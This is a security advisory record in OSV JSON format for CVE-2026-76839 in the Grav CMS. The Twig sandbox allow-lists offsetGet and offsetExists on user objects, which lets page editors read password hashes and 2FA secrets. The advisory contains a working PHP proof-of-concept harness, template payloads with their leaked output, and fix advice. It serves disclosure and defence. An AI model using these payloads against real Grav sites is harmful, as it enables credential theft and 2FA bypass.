CVE-2026-76839: Grav UserInterface Offsetget/offsetexists Allow-listed Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3jhr-mxmx-38cx",
  "modified" : "2026-09-17T20:27:30Z",
  "published" : "2026-09-17T20:27:30Z",
  "aliases" : [ "CVE-2026-76839" ],
  "summary" : "Grav: UserInterface offsetget/offsetexists allow-listed in Twig sandbox let editor-authored content leak hashed_password and 2FA secrets via offsetGet()",
  "details" : "## Summary\n\n`system/config/security.yaml`'s Twig sandbox policy allow-lists `offsetget` and\n`offsetexists` for `Grav\\Common\\User\\Interfaces\\UserInterface`. The concrete\n`Grav\\Common\\User\\DataUser\\User` class does not filter which fields `offsetGet()`\nreturns, so any sandboxed template with access to a `User` object can read\n`hashed_password`, `secret` (2FA seed), and `twofa_secret` directly, bypassing the\nredaction Grav's own code applies everywhere else.\n\n## The core evidence, from Grav's own code\n\n`system/src/Grav/Common/User/DataUser/User.php`:\n\n```php\n/**\n * {@inheritdoc}\n * Override to filter out sensitive fields like password hashes\n */\npublic function jsonSerialize(): array\n{\n    $items = parent::jsonSerialize();\n\n    // Security: Remove sensitive fields that should never be exposed to frontend\n    unset($items['hashed_password']);\n    unset($items['secret']);         // 2FA secret\n    unset($items['twofa_secret']);   // Alternative 2FA field name\n\n    return $items;\n}\n\npublic function offsetGet($offset)\n{\n    $value = parent::offsetGet($offset);\n    // only special-cases 'authorized', nothing else -- no redaction\n    return $value;\n}\n```\n\n`system/config/security.yaml`:\n\n```yaml\n- class: 'Grav\\Common\\User\\Interfaces\\UserInterface'\n  methods: 'authorize, authorized, authenticated, username, fullname, email, language, offsetget, offsetexists'\n```\n\nThis is the same vulnerability shape as two already-fixed issues in this file\n(GHSA-j274-39qw-32c9 and GHSA-mc5q-6hpj-rp7j -- both a raw, unfiltered data-access\npath bypassing an intended redaction) recurring on a third class neither fix covered.\n\n## Live, end-to-end verification\n\nBuilt a real `Twig\\Environment` wired with the real `Twig\\Extension\\SandboxExtension`,\npoliced by Grav's own `GravSecurityPolicy` class, constructed directly from values\nparsed out of the actual `system/config/security.yaml` (via\n`Symfony\\Component\\Yaml\\Yaml::parseFile`, not a hand-copied excerpt), rendering real\ntemplate strings against a real `User` object.\n\nEnvironment setup:\n\n```bash\ngit clone https://github.com/getgrav/grav.git\ncd grav\napt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd\ncurl -sL -o /tmp/composer.phar \\\n  \"https://github.com/composer/composer/releases/latest/download/composer.phar\"\nCOMPOSER_ALLOW_SUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction\n```\n\n`live_sandbox_render_test.php`:\n\n```php\n<?php\nrequire 'vendor/autoload.php';\n\nuse Symfony\\Component\\Yaml\\Yaml;\nuse Twig\\Environment;\nuse Twig\\Loader\\ArrayLoader;\nuse Twig\\Extension\\SandboxExtension;\nuse Grav\\Common\\Twig\\Sandbox\\GravSecurityPolicy;\nuse Grav\\Common\\User\\DataUser\\User;\n\n$securityYaml = Yaml::parseFile('system/config/security.yaml');\n$sandboxCfg = $securityYaml['twig_sandbox'];\n\nfunction rowsToMap(array $rows): array {\n    $out = [];\n    foreach ($rows as $row) {\n        $out[$row['class']] = array_map('strtolower', array_map('trim', explode(',', $row['methods'])));\n    }\n    return $out;\n}\n\n$policy = new GravSecurityPolicy(\n    $sandboxCfg['allowed_tags'],\n    $sandboxCfg['allowed_filters'],\n    rowsToMap($sandboxCfg['allowed_methods']),\n    rowsToMap($sandboxCfg['allowed_properties']),\n    $sandboxCfg['allowed_functions']\n);\n$sandbox = new SandboxExtension($policy, true);\n\n$user = new User([\n    'username'        => 'admin',\n    'hashed_password' => '$2y$10$REALBCRYPTHASHVALUEshouldnotleakXXXXXXXXXXXXXXXXXXXXX',\n    'secret'          => 'JBSWY3DPEHPK3PXP',\n    'twofa_secret'    => 'ALT2FASECRETVALUE9999',\n]);\n\nfunction tryRender(string $label, string $template, SandboxExtension $sandbox, User $user): void {\n    $twig = new Environment(new ArrayLoader(['@Page:test' => $template]));\n    $twig->addExtension($sandbox);\n    try {\n        echo \"$label => \" . $twig->render('@Page:test', ['user' => $user]) . \"\\n\";\n    } catch (\\Twig\\Sandbox\\SecurityError $e) {\n        echo \"$label => BLOCKED: \" . $e->getMessage() . \"\\n\";\n    }\n}\n\ntryRender('hashed_password via offsetGet()', \"{{ user.offsetGet('hashed_password') }}\", $sandbox, $user);\ntryRender('secret via offsetGet()',          \"{{ user.offsetGet('secret') }}\", $sandbox, $user);\ntryRender('twofa_secret via offsetGet()',    \"{{ user.offsetGet('twofa_secret') }}\", $sandbox, $user);\ntryRender('twofa_secret via subscript',      \"{{ user['twofa_secret'] }}\", $sandbox, $user);\ntryRender('control: user.set() (unlisted)',  \"{{ user.set('email', 'pwned@evil.com') }}\", $sandbox, $user);\n```\n\nRun: `php live_sandbox_render_test.php`\n\nOutput:\n\n```\nhashed_password via offsetGet() => $2y$10$REALBCRYPTHASHVALUEshouldnotleakXXXXXXXXXXXXXXXXXXXXX\nsecret via offsetGet() => JBSWY3DPEHPK3PXP\ntwofa_secret via offsetGet() => ALT2FASECRETVALUE9999\ntwofa_secret via subscript => BLOCKED: Calling \"twofa_secret\" property on a \"Grav\\Common\\User\\DataUser\\User\" object is not allowed in \"@Page:test\" at line 1.\ncontrol: user.set() (unlisted) => BLOCKED: Calling \"set\" method on a \"Grav\\Common\\User\\DataUser\\User\" object is not allowed in \"@Page:test\" at line 1.\n```\n\nThe control payload (a real, non-allow-listed `User` method) is correctly blocked,\nand the target field was confirmed unchanged afterward -- confirming the sandbox is\ngenuinely active and the three leaks above are real, not an artifact of a failed\nsandbox.\n\n## Precise nuance for the fix\n\nTwig routes `user.offsetGet('x')` (explicit method call) and `user['x']` (subscript\nsugar on a non-built-in `ArrayAccess` object) through two different sandbox checks --\n`checkMethodAllowed` against `allowed_methods`, versus `checkPropertyAllowed` against\n`allowed_properties`. The subscript form is already correctly blocked, since\n`UserInterface` has no `allowed_properties` entry. Only the explicit `.offsetGet()`/\n`.offsetExists()` method-call form leaks, because those methods are present in\n`allowed_methods`.\n\n## Scope, stated honestly\n\nI could not find where Grav core itself binds a `user` variable into the sandboxed\nTwig page-content context -- `Twig::processPage()`'s `$twig_vars` has no `'user'` key,\nand the Login plugin (the near-universal companion plugin that would populate\n\"current logged-in user\") is not part of this repository. I cannot independently\nconfirm from this codebase alone whether that binding is always the current session\nuser (self-disclosure only) or could resolve to an arbitrary other user (site-wide\ncredential/2FA-secret disclosure). What is independently confirmed entirely from this\nrepository: the `security.yaml` sandbox policy is Grav core's own security contract,\nand it allow-lists a method proven unsafe by Grav's own code, regardless of which\nplugin exercises it.\n\n## Impact\n\nAny sandboxed Twig context where a `UserInterface` object is reachable (the standard,\ndocumented pattern for exposing \"current user\" to editor-authored content) allows\nextraction of that user's password hash (enabling offline cracking) and 2FA secret\n(enabling full authentication bypass by generating valid TOTP codes without possessing\nthe user's device), by any user with page-edit permission.\n\n## Suggested fix \n\nTrimming the `UserInterface` entry alone is insufficient: `User extends Data`, and the\nseparate generic allowlist entry for `Grav\\Common\\Data\\Data` (`get, value, items,\noffsetget, offsetexists`) independently grants the same access via `instanceof`\nmatching, through three methods (`get`, `value`, `offsetGet`), not just one. I verified\nthis by simulating the UserInterface-only fix and confirming all three still leak\n`hashed_password` and `secret`/`twofa_secret`.\n\nThe robust fix mirrors what was already done for Config in GHSA-j274-39qw-32c9:\nintroduce a redacting facade for User (analogous to SandboxConfig) that filters\nhashed_password/secret/twofa_secret on every read path, and allow-list that facade in\nplace of the raw User/Data class -- rather than trying to enumerate safe methods on a\nclass whose parent class is independently allow-listed elsewhere in the same policy.\nA narrower alternative: override User::get()/value()/offsetGet() to apply the same\nredaction jsonSerialize() already does, so the fields simply don't exist to leak\nregardless of which accessor method reaches them.\n\n## Affected component\n\n- `system/config/security.yaml`, `twig_sandbox.allowed_methods` entry for\n  `Grav\\Common\\User\\Interfaces\\UserInterface`\n- `system/src/Grav/Common/User/DataUser/User.php`, `offsetGet()` (behaves correctly\n  given the sandbox's input; the gap is in what the sandbox allows through)\n```\n\n**Ecosystem:** `Composer`\n**Package name:** `getgrav/grav`\n**Affected versions:** current `2.0.15` dev tree (bounded by whenever `UserInterface` was first added to `allowed_methods` in `security.yaml` — worth checking `git log -p` on that file if you want an exact lower bound before submitting)\n**Patched versions:** leave blank\n\n**Severity / CVSS v3.1 vector string:**\n```\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N\n```\nResolves to **7.7 / High**. Attack Vector = Network, Attack Complexity = Low, Privileges Required = Low, User Interaction = None, Scope = Changed, Confidentiality = High, Integrity = None, Availability = None. Flag clearly in your submission (as the description does) that if the maintainers confirm the \"arbitrary other user\" reachability, this should be rescored toward Critical given the 2FA-bypass implication.\n\n**CWE:** `CWE-522` (Insufficiently Protected Credentials), add `CWE-284` (Improper Access Control)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "getgrav/grav"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.0.16"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.0.15"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/getgrav/grav/security/advisories/GHSA-3jhr-mxmx-38cx"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-76839"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/getgrav/grav"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/grav-before-information-disclosure-via-offsetget"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-522" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-17T20:27:30Z",
    "nvd_published_at" : null
  }
}